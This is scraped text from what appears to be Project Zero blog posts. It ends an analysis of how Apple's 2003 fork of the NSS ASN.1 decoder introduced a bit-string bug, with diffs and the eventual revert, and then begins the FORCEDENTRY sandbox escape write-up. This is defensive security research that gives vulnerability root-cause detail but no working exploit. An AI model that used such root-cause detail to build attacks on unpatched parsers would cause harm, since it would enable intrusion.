<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">bit_string_unused_bits </span><span class="c1">=</span><span class="c3"> </span><span class="c16">byte</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">place </span><span class="c1">=</span><span class="c3"> duringBitString</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">pending </span><span class="c1">-=</span><span class="c3"> </span><span class="c11">1</span><span class="c1">;</span></p>
<p class="c6 c14"><span class="c2"></span></p>
<p class="c6"><span class="c3"> </span><span class="c16">return</span><span class="c3"> </span><span class="c11">1</span><span class="c1">;</span></p>
<p class="c6"><span class="c1">}</span></p></td></tr></tbody></table>
<p class="c0"><span class="c19 c7"></span></p>
<p class="c6 c8 c15"><span>This commit added the </span><span class="c7">item->data = NULL</span><span> line but here it's only reachable when </span><span class="c7">pending == 0</span><span>. I am fairly convinced that this was dead code and not actually reachable (and that the </span><span class="c7">PORT_Assert</span><span class="c9"> which they commented out was actually valid.)</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>The </span><span class="c7">beforeBitString</span><span> state (which leads to the </span><span class="c7">sec_asn1d_parse_bit_string</span><span> method being called) will always be preceded by the </span><span class="c7">afterLength</span><span> state (implemented by </span><span class="c7">sec_asn1d_prepare_for_contents.</span><span>) On entry to the </span><span class="c7">afterLength</span><span> state </span><span class="c7">state->contents_length</span><span> is equal to the parsed length field and </span><span class="c7">sec_asn1d_prepare_for_contents</span><span class="c9"> does:</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span class="c19 c7">state->pending = state->contents_length;</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>So in order to reach </span><span class="c7">sec_asn1d_parse_bit_string</span><span> with </span><span class="c7">state->pending == 0</span><span>, </span><span class="c7">state->contents_length</span><span> would also need to be </span><span class="c7">0</span><span> in </span><span class="c7">sec_asn1d_prepare_for_contents</span><span class="c9">.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>That means that in the if/else decision tree below, at least one of the two conditionals </span><span class="c17">must</span><span class="c9"> be true:</span></p>
<p class="c0 c15"><span class="c9"></span></p><a id="t.b58e1df8cbca28721618ec8bc93413630d1f04c0"></a><a id="t.18"></a><table class="c25"><tbody><tr class="c18"><td class="c5" colspan="1" rowspan="1">
<p class="c6"><span class="c3"> </span><span class="c16">if</span><span class="c3"> </span><span class="c1">(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">contents_length </span><span class="c1">==</span><span class="c3"> </span><span class="c11">0</span><span class="c3"> </span><span class="c1">&&</span><span class="c3"> </span><span class="c1">(!</span><span class="c3"> state</span><span class="c1">-></span><span class="c3">indefinite</span><span class="c1">))</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> </span><span class="c23">/*</span></p>
<p class="c6"><span class="c23"> * A zero-length simple or constructed string; we are done.</span></p>
<p class="c6"><span class="c23"> */</span></p>
<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">place </span><span class="c1">=</span><span class="c3"> afterEndOfContents</span><span class="c1">;</span></p>
<p class="c6"><span class="c1">...</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">}</span><span class="c3"> </span><span class="c16">else</span><span class="c3"> </span><span class="c16">if</span><span class="c3"> </span><span class="c1">(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">indefinite</span><span class="c1">)</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> </span><span class="c23">/*</span></p>
<p class="c6"><span class="c23"> * An indefinite-length string *must* be constructed!</span></p>
<p class="c6"><span class="c23"> */</span></p>
<p class="c6"><span class="c3"> dprintf</span><span class="c1">(</span><span class="c22">"decodeError: prepare for contents indefinite not construncted\n"</span><span class="c1">);</span></p>
<p class="c6"><span class="c3"> PORT_SetError </span><span class="c1">(</span><span class="c3">SEC_ERROR_BAD_DER</span><span class="c1">);</span></p>
<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">top</span><span class="c1">-></span><span class="c3">status </span><span class="c1">=</span><span class="c3"> decodeError</span><span class="c1">;</span></p></td></tr></tbody></table>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>yet it is required that </span><span class="c17">neither</span><span> of those be true in order to reach the final </span><span class="c7">else</span><span> which is the only path to reaching </span><span class="c7">sec_asn1d_parse_bit_string</span><span> via the </span><span class="c7">beforeBitString</span><span class="c9"> state:</span></p>
<p class="c0 c15"><span class="c9"></span></p><a id="t.fc4cdcb36935579371eeed8ebee2943f0d688093"></a><a id="t.19"></a><table class="c25"><tbody><tr class="c18"><td class="c5" colspan="1" rowspan="1">
<p class="c6"><span class="c3"> </span><span class="c1">}</span><span class="c3"> </span><span class="c16">else</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> </span><span class="c23">/*</span></p>
<p class="c6"><span class="c23"> * A non-zero-length simple string.</span></p>
<p class="c6"><span class="c23"> */</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">if</span><span class="c3"> </span><span class="c1">(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">underlying_kind </span><span class="c1">==</span><span class="c3"> SEC_ASN1_BIT_STRING</span><span class="c1">)</span></p>
<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">place </span><span class="c1">=</span><span class="c3"> beforeBitString</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">else</span></p>
<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">place </span><span class="c1">=</span><span class="c3"> duringLeaf</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">}</span></p></td></tr></tbody></table>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>So at that point (24 August 2001) the NSS codebase had some dead code which looked like it was trying to handle parsing an ASN.1 </span><span class="c7">bitstring</span><span class="c9"> which didn't have an unused-bits byte. As we've seen in the rest of this post though, that handling is quite wrong, but it didn't matter as the code was unreachable. </span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>The earliest reference to Apple's fork of that NSS code I can find is in the </span><span class="c21"><a class="c241" href="https://github.com/apple-oss-distributions/SecurityNssAsn1/tree/SecurityNssAsn1-11">SecurityNssAsn1-11</a></span><span> package for OS X 10.3 (Panther) which would have been released October 24th, 2003. In that project we can find a </span><span class="c7">CHANGES.apple</span><span> file which tells us </span><span class="c21"><a class="c241" href="https://github.com/apple-oss-distributions/SecurityNssAsn1/blob/SecurityNssAsn1-11/CHANGES.Apple">a little more about the origins of Apple's fork</a></span><span class="c9">:</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8"><span class="c19 c7">General Notes</span></p>
<p class="c6 c8"><span class="c19 c7">-------------</span></p>
<p class="c0"><span class="c19 c7"></span></p>
<p class="c6 c8"><span class="c19 c7">1. This module, SecurityNssAsn1, is based on the Netscape Security</span></p>
<p class="c6 c8"><span class="c19 c7"> Services ("NSS") portion of the Mozilla Browser project. The </span></p>
<p class="c6 c8"><span class="c19 c7"> source upon which SecurityNssAsn1 was based was pulled from </span></p>
<p class="c6 c8"><span class="c7 c19"> the Mozilla CVS repository, top of tree as of January 21, 2003. </span></p>
<p class="c6 c8"><span class="c19 c7"> The SecurityNssAsn1 project contains only those portions of NSS </span></p>
<p class="c6 c8"><span class="c19 c7"> used to perform BER encoding and decoding, along with minimal </span></p>
<p class="c6 c8"><span class="c19 c7"> support required by the encode/decode routines.</span></p>
<p class="c0"><span class="c19 c7"></span></p>
<p class="c6 c8"><span class="c19 c7">2. The directory structure of SecurityNssAsn1 differs significantly</span></p>
<p class="c6 c8"><span class="c19 c7"> from that of NSS, rendering simple diffs to document changes</span></p>
<p class="c6 c8"><span class="c19 c7"> unwieldy. Diffs could still be performed on a file-by-file basis.</span></p>
<p class="c6 c8"><span class="c19 c7"> </span></p>
<p class="c6 c8"><span class="c19 c7">3. All Apple changes are flagged by the symbol __APPLE__, either</span></p>
<p class="c6 c8"><span class="c19 c7"> via "#ifdef __APPLE__" or in a comment. </span></p>
<p class="c0 c15"><span class="c19 c7"></span></p>
<p class="c6 c8 c15"><span>That document continues on to outline a number of broad changes which Apple made to the code, including reformatting the code and changing a number of APIs to add new features. We also learn the date at which Apple forked the code (January 21, 2003) so we can go back through a github mirror of the mozilla CVS repository to find </span><span class="c21"><a class="c241" href="https://github.com/jrmuizel/mozilla-cvs-history/blob/1f25ac6059384ad941cb20481acef0e6b4d46dbd/security/nss/lib/util/secasn1d.c">the version of secasn1d.c as it would have appeared then</a></span><span> and diff them.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span class="c9">From that diff we can see that the Apple developers actually made fairly significant changes in this initial import, indicating that this code underwent some level of review prior to importing it. For example:</span></p>
<p class="c0 c15"><span class="c9"></span></p><a id="t.29dca04094676297fb74e68684dc5ebea1c1ec48"></a><a id="t.20"></a><table class="c25"><tbody><tr class="c18"><td class="c5" colspan="1" rowspan="1">
<p class="c6"><span class="c1">@@</span><span class="c3"> </span><span class="c1">-</span><span class="c11">1584</span><span class="c1">,</span><span class="c11">7</span><span class="c3"> </span><span class="c1">+</span><span class="c11">1692</span><span class="c1">,</span><span class="c11">15</span><span class="c3"> </span><span class="c1">@@</span></p>
<p class="c6"><span class="c3"> </span><span class="c23">/*</span></p>
<p class="c6"><span class="c23"> * If our child was just our end-of-contents octets, we are done.</span></p>
<p class="c6"><span class="c23"> */</span></p>
<p class="c6"><span class="c1">+</span><span class="c3"> </span><span class="c23">#ifdef</span><span class="c2"> __APPLE__</span></p>
<p class="c6"><span class="c1">+</span><span class="c3"> </span><span class="c23">/* </span></p>
<p class="c6"><span class="c23">+ * Without the check for !child->indefinite, this path could</span></p>
<p class="c6"><span class="c23">+ * be taken erroneously if the child is indefinite!</span></p>
<p class="c6"><span class="c23">+ */</span></p>
<p class="c6"><span class="c1">+</span><span class="c3"> </span><span class="c16">if</span><span class="c1">(</span><span class="c3">child</span><span class="c1">-></span><span class="c3">endofcontents </span><span class="c1">&&</span><span class="c3"> </span><span class="c1">!</span><span class="c3">child</span><span class="c1">-></span><span class="c3">indefinite</span><span class="c1">)</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c1">+</span><span class="c3"> </span><span class="c23">#else</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">if</span><span class="c3"> </span><span class="c1">(</span><span class="c3">child</span><span class="c1">-></span><span class="c3">endofcontents</span><span class="c1">)</span><span class="c3"> </span><span class="c1">{</span></p></td></tr></tbody></table>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>They were pretty clearly looking for potential correctness issues with the code while they were refactoring it. The example shown above is a non-trivial change and one which persists to this day. (And I have no idea whether the NSS or Apple version is correct!) Reading the diff we can see that not every change ended up being marked with </span><span class="c7">#ifdef __APPLE__</span><span> or a comment. They also made this change to </span><span class="c7">sec_asn1d_parse_bit_string</span><span class="c9">:</span></p>
<p class="c0 c15"><span class="c9"></span></p><a id="t.f88b5d5286baf17de20f09e61c06eac6b0acbd51"></a><a id="t.21"></a><table class="c25"><tbody><tr class="c18"><td class="c5" colspan="1" rowspan="1">
<p class="c6"><span class="c1">@@</span><span class="c3"> </span><span class="c1">-</span><span class="c11">1372</span><span class="c1">,</span><span class="c11">26</span><span class="c3"> </span><span class="c1">+</span><span class="c11">1469</span><span class="c1">,</span><span class="c11">33</span><span class="c3"> </span><span class="c1">@@</span></p>
<p class="c6"><span class="c3"> </span><span class="c23">/*PORT_Assert (state->pending > 0); */</span></p>
<p class="c6"><span class="c3"> PORT_Assert </span><span class="c1">(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">place </span><span class="c1">==</span><span class="c3"> beforeBitString</span><span class="c1">);</span></p>
<p class="c6"><span class="c2"> </span></p>
<p class="c6"><span class="c1">-</span><span class="c3"> </span><span class="c16">if</span><span class="c3"> </span><span class="c1">(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">pending </span><span class="c1">==</span><span class="c3"> </span><span class="c11">0</span><span class="c1">)</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c1">-</span><span class="c3"> </span><span class="c16">if</span><span class="c3"> </span><span class="c1">(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">dest </span><span class="c1">!=</span><span class="c3"> NULL</span><span class="c1">)</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c1">-</span><span class="c3"> </span><span class="c20">SECItem</span><span class="c3"> </span><span class="c1">*</span><span class="c3">item </span><span class="c1">=</span><span class="c3"> </span><span class="c1">(</span><span class="c20">SECItem</span><span class="c3"> </span><span class="c1">*)(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">dest</span><span class="c1">);</span></p>
<p class="c6"><span class="c1">-</span><span class="c3"> item</span><span class="c1">-></span><span class="c3">data </span><span class="c1">=</span><span class="c3"> NULL</span><span class="c1">;</span></p>
<p class="c6"><span class="c1">-</span><span class="c3"> item</span><span class="c1">-></span><span class="c3">len </span><span class="c1">=</span><span class="c3"> </span><span class="c11">0</span><span class="c1">;</span></p>
<p class="c6"><span class="c1">-</span><span class="c3"> state</span><span class="c1">-></span><span class="c3">place </span><span class="c1">=</span><span class="c3"> beforeEndOfContents</span><span class="c1">;</span></p>
<p class="c6"><span class="c1">-</span><span class="c3"> </span><span class="c16">return</span><span class="c3"> </span><span class="c11">0</span><span class="c1">;</span></p>
<p class="c6"><span class="c1">-</span><span class="c3"> </span><span class="c1">}</span></p>
<p class="c6"><span class="c1">+</span><span class="c3"> </span><span class="c16">if</span><span class="c3"> </span><span class="c1">((</span><span class="c3">state</span><span class="c1">-></span><span class="c3">pending </span><span class="c1">==</span><span class="c3"> </span><span class="c11">0</span><span class="c1">)</span><span class="c3"> </span><span class="c1">||</span><span class="c3"> </span><span class="c1">(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">contents_length </span><span class="c1">==</span><span class="c3"> </span><span class="c11">1</span><span class="c1">))</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c1">+</span><span class="c3"> </span><span class="c16">if</span><span class="c3"> </span><span class="c1">(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">dest </span><span class="c1">!=</span><span class="c3"> NULL</span><span class="c1">)</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c1">+</span><span class="c3"> </span><span class="c20">SECItem</span><span class="c3"> </span><span class="c1">*</span><span class="c3">item </span><span class="c1">=</span><span class="c3"> </span><span class="c1">(</span><span class="c20">SECItem</span><span class="c3"> </span><span class="c1">*)(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">dest</span><span class="c1">);</span></p>
<p class="c6"><span class="c1">+</span><span class="c3"> item</span><span class="c1">-></span><span class="c20">Data</span><span class="c3"> </span><span class="c1">=</span><span class="c3"> NULL</span><span class="c1">;</span></p>
<p class="c6"><span class="c1">+</span><span class="c3"> item</span><span class="c1">-></span><span class="c20">Length</span><span class="c3"> </span><span class="c1">=</span><span class="c3"> </span><span class="c11">0</span><span class="c1">;</span></p>
<p class="c6"><span class="c1">+</span><span class="c3"> state</span><span class="c1">-></span><span class="c3">place </span><span class="c1">=</span><span class="c3"> beforeEndOfContents</span><span class="c1">;</span></p>
<p class="c6"><span class="c1">+</span><span class="c3"> </span><span class="c1">}</span></p>
<p class="c6"><span class="c1">+</span><span class="c3"> </span><span class="c16">if</span><span class="c1">(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">contents_length </span><span class="c1">==</span><span class="c3"> </span><span class="c11">1</span><span class="c1">)</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c1">+</span><span class="c3"> </span><span class="c23">/* skip over (unused) remainder byte */</span></p>
<p class="c6"><span class="c1">+</span><span class="c3"> </span><span class="c16">return</span><span class="c3"> </span><span class="c11">1</span><span class="c1">;</span></p>
<p class="c6"><span class="c1">+</span><span class="c3"> </span><span class="c1">}</span></p>
<p class="c6"><span class="c1">+</span><span class="c3"> </span><span class="c16">else</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c1">+</span><span class="c3"> </span><span class="c16">return</span><span class="c3"> </span><span class="c11">0</span><span class="c1">;</span></p>
<p class="c6"><span class="c1">+</span><span class="c3"> </span><span class="c1">}</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">}</span></p></td></tr></tbody></table>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>In the context of all the other changes in this initial import this change looks much less suspicious than I first thought. My guess is that the Apple developers thought that Mozilla had missed handling the case of a bitstring with only the unused-bits bytes and attempted to add support for it. It looks like the </span><span class="c7">state->pending == 0</span><span> conditional must have been Mozilla's check for handling a 0-length bitstring so therefore it was quite reasonable to think that the way it was handling that case by </span><span class="c7">NULL</span><span>ing out </span><span class="c7">item->data</span><span> was the right thing to do, so it must also be correct to add the </span><span class="c7">contents_length == 1</span><span class="c9"> case here.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>In reality the </span><span class="c7">contents_length == 1</span><span> case was handled perfectly correctly anyway in </span><span class="c7">sec_asn1d_parse_more_bit_string</span><span>, but it wasn't unreasonable to assume that it had been overlooked based on what looked like a special case handling for the missing unused-bits byte in </span><span class="c7">sec_asn1d_parse_bit_string</span><span class="c9">.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span class="c9">The fix for the bug was simply to revert the change made during the initial import 18 years ago, making the dangerous but unreachable code unreachable once more:</span></p>
<p class="c0 c15"><span class="c9"></span></p><a id="t.cc85cec956c682ae2159b3e2792de03dfdc37f3c"></a><a id="t.22"></a><table class="c25"><tbody><tr class="c18"><td class="c5" colspan="1" rowspan="1">
<p class="c6"><span class="c3"> </span><span class="c16">if</span><span class="c3"> </span><span class="c1">((</span><span class="c3">state</span><span class="c1">-></span><span class="c3">pending </span><span class="c1">==</span><span class="c3"> </span><span class="c11">0</span><span class="c1">)</span><span class="c3"> </span><span class="c1 c12">||</span><span class="c3 c12"> </span><span class="c1 c12">(</span><span class="c3 c12">state</span><span class="c1 c12">-></span><span class="c3 c12">contents_length </span><span class="c1 c12">==</span><span class="c3 c12"> </span><span class="c11 c12">1</span><span class="c1 c12">)</span><span class="c1">)</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">if</span><span class="c3"> </span><span class="c1">(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">dest </span><span class="c1">!=</span><span class="c3"> NULL</span><span class="c1">)</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> </span><span class="c20">SecAsn1Item</span><span class="c3"> </span><span class="c1">*</span><span class="c3">item </span><span class="c1">=</span><span class="c3"> </span><span class="c1">(</span><span class="c20">SecAsn1Item</span><span class="c3"> </span><span class="c1">*)(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">dest</span><span class="c1">);</span></p>
<p class="c6"><span class="c3"> item</span><span class="c1">-></span><span class="c20">Data</span><span class="c3"> </span><span class="c1">=</span><span class="c3"> NULL</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> item</span><span class="c1">-></span><span class="c20">Length</span><span class="c3"> </span><span class="c1">=</span><span class="c3"> </span><span class="c11">0</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">place </span><span class="c1">=</span><span class="c3"> beforeEndOfContents</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">}</span></p>
<p class="c6"><span class="c3 c12"> </span><span class="c16 c12">if</span><span class="c1 c12">(</span><span class="c3 c12">state</span><span class="c1 c12">-></span><span class="c3 c12">contents_length </span><span class="c1 c12">==</span><span class="c3 c12"> </span><span class="c11 c12">1</span><span class="c1 c12">)</span><span class="c3 c12"> </span><span class="c1 c12">{</span></p>
<p class="c6"><span class="c3 c12"> </span><span class="c23 c12">/* skip over (unused) remainder byte */</span></p>
<p class="c6"><span class="c3 c12"> </span><span class="c16 c12">return</span><span class="c3 c12"> </span><span class="c11 c12">1</span><span class="c1 c12">;</span></p>
<p class="c6"><span class="c3 c12"> </span><span class="c1 c12">}</span></p>
<p class="c6"><span class="c3 c12"> </span><span class="c16 c12">else</span><span class="c3 c12"> </span><span class="c1 c12">{</span></p>
<p class="c6"><span class="c3 c12"> </span><span class="c3"> </span><span class="c16">return</span><span class="c3"> </span><span class="c11">0</span><span class="c1">;</span></p>
<p class="c6"><span class="c3 c12"> </span><span class="c1 c12">}</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">}</span></p></td></tr></tbody></table><h2 class="c32 c8 c15" id="h.kac2os93mix4"><span class="c31 c28">Conclusions</span></h2>
<p class="c6 c8 c15"><span class="c9">Forking complicated code is complicated. In this case it took almost two decades to in the end just revert a change made during import. Even verifying whether this revert is correct is really hard.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span class="c9">The Mozilla and Apple codebases have continued to diverge since 2003. As I discovered slightly too late to be useful, the Mozilla code now has more comments trying to explain the decoder's "novel" memory safety approach.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span class="c9">Rewriting this code to be more understandable (and maybe even memory safe) is also distinctly non-trivial. The code doesn't just implement ASN.1 decoding; it also has to support safely decoding incorrectly encoded data, as described by this verbatim comment for example:</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span class="c19 c7"> /*</span></p>
<p class="c6 c8 c15"><span class="c19 c7"> * Okay, this is a hack. It *should* be an error whether</span></p>
<p class="c6 c8 c15"><span class="c19 c7"> * pending is too big or too small, but it turns out that</span></p>
<p class="c6 c8 c15"><span class="c19 c7"> * we had a bug in our *old* DER encoder that ended up</span></p>
<p class="c6 c8 c15"><span class="c19 c7"> * counting an explicit header twice in the case where</span></p>
<p class="c6 c8 c15"><span class="c19 c7"> * the underlying type was an ANY. So, because we cannot</span></p>
<p class="c6 c8 c15"><span class="c19 c7"> * prevent receiving these (our own certificate server can</span></p>
<p class="c6 c8 c15"><span class="c19 c7"> * send them to us), we need to be lenient and accept them.</span></p>
<p class="c6 c8 c15"><span class="c19 c7"> * To do so, we need to pretend as if we read all of the</span></p>
<p class="c6 c8 c15"><span class="c19 c7"> * bytes that the header said we would find, even though</span></p>
<p class="c6 c8 c15"><span class="c19 c7"> * we actually came up short.</span></p>
<p class="c6 c8 c15"><span class="c19 c7"> */</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>Verifying that a rewritten, simpler decoder also handles every hard-coded edge case correctly probably leads to it not being so simple after all.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c0 c15"><span class="c9"></span></p>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4838136820032157985.post-13532641773588918462022-03-31T09:00:00.003-07:002022-08-24T12:04:44.188-07:00FORCEDENTRY: Sandbox Escape<style type="text/css">ol{margin:0;padding:0}table td,table th{padding:0}.YDzVciBUld-c8{padding-top:16pt;padding-bottom:4pt;line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.YDzVciBUld-c7{padding-top:18pt;padding-bottom:6pt;line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.YDzVciBUld-c1{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:left;height:11pt}.YDzVciBUld-c16{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:right}.YDzVciBUld-c4{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:left}.YDzVciBUld-c10{color:#434343;text-decoration:none;vertical-align:baseline;font-size:14pt;font-style:normal}.YDzVciBUld-c13{color:#000000;text-decoration:none;vertical-align:baseline;font-size:11pt;font-style:italic}.YDzVciBUld-c9{color:#000000;text-decoration:none;vertical-align:baseline;font-size:16pt;font-style:normal}.YDzVciBUld-c2{color:#000000;text-decoration:none;vertical-align:baseline;font-size:11pt;font-style:normal}.YDzVciBUld-c6{-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline;text-decoration-skip-ink:none}.YDzVciBUld-c17{background-color:#b6d7a8;font-family:"Courier New";font-weight:700}.YDzVciBUld-c15{background-color:#ffffff;max-width:468pt;padding:72pt 72pt 72pt 72pt}.YDzVciBUld-c3{font-weight:400;font-family:"Arial"}.YDzVciBUld-c0{font-weight:400;font-family:"Courier New"}.YDzVciBUld-c11{color:inherit;text-decoration:inherit}.YDzVciBUld-c14{font-style:italic}.YDzVciBUld-c12{text-indent:36pt}.YDzVciBUld-c5{margin-left:36pt}.title{padding-top:0pt;color:#000000;font-size:26pt;padding-bottom:3pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.subtitle{padding-top:0pt;color:#666666;font-size:15pt;padding-bottom:16pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}li{color:#000000;font-size:11pt;font-family:"Arial"}p{margin:0;color:#000000;font-size:11pt;font-family:"Arial"}h1{padding-top:20pt;color:#000000;font-size:20pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h2{padding-top:18pt;color:#000000;font-size:16pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h3{padding-top:16pt;color:#434343;font-size:14pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h4{padding-top:14pt;color:#666666;font-size:12pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h5{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h6{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left}</style></head><body class="YDzVciBUld-c15">
<p class="YDzVciBUld-c4"><span>Posted by Ian Beer & </span><span>Samuel Groß</span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> of Google Project Zero</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c13 YDzVciBUld-c3">We want to thank Citizen Lab for sharing a sample of the FORCEDENTRY exploit with us, and Apple’s Security Engineering and Architecture (SEAR) group for collaborating with us on the technical analysis. Any editorial opinions reflected below are solely Project Zero’s and do not necessarily reflect those of the organizations we collaborated with during this research.</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>Late last year </span><span class="YDzVciBUld-c6"><a class="YDzVciBUld-c111" href="https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html">we published a writeup</a></span><span> of the initial remote code execution stage of FORCEDENTRY, the zero-click iMessage exploit attributed by Citizen Lab to NSO.</span><span> By sending a </span><span class="YDzVciBUld-c0">.gif</span><span> iMessage attachment (which was really a PDF) NSO were able to remotely trigger a heap buffer overflow in the ImageIO JBIG2 decoder. They used that vulnerability to bootstrap a powerful </span><span class="YDzVciBUld-c6"><a class="YDzVciBUld-c111" href="https://en.wikipedia.org/wiki/Weird_machine">weird machine</a></span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> capable of loading the next stage in the infection process: the sandbox escape.</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c3">In this post we'll take a look at that sandbox escape. It's notable for using only logic bugs. In fact it's unclear where the features that it uses end and the vulnerabilities which it abuses begin. Both current and upcoming state-of-the-art mitigations such as Pointer Authentication and Memory Tagging have no impact at all on this sandbox escape.</span></p><h2 class="YDzVciBUld-c7" id="h.80ze3m83kn16"><span class="YDzVciBUld-c9 YDzVciBUld-c3">An observation</span></h2>
<p class="YDzVciBUld-c4"><span>During our initial analysis of the </span><span class="YDzVciBUld-c0">.gif</span><span> file Samuel noticed that rendering the image appeared to leak memory.</span><span> Running the </span><span class="YDzVciBUld-c0">heap</span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> tool after releasing all the associated resources gave the following output:</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">$ heap $pid</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">------------------------------------------------------------</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">All zones: 4631 nodes (826336 bytes) </span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> </span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> COUNT BYTES AVG CLASS_NAME TYPE BINARY </span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> ===== ===== === ========== ==== ====== </span></p>
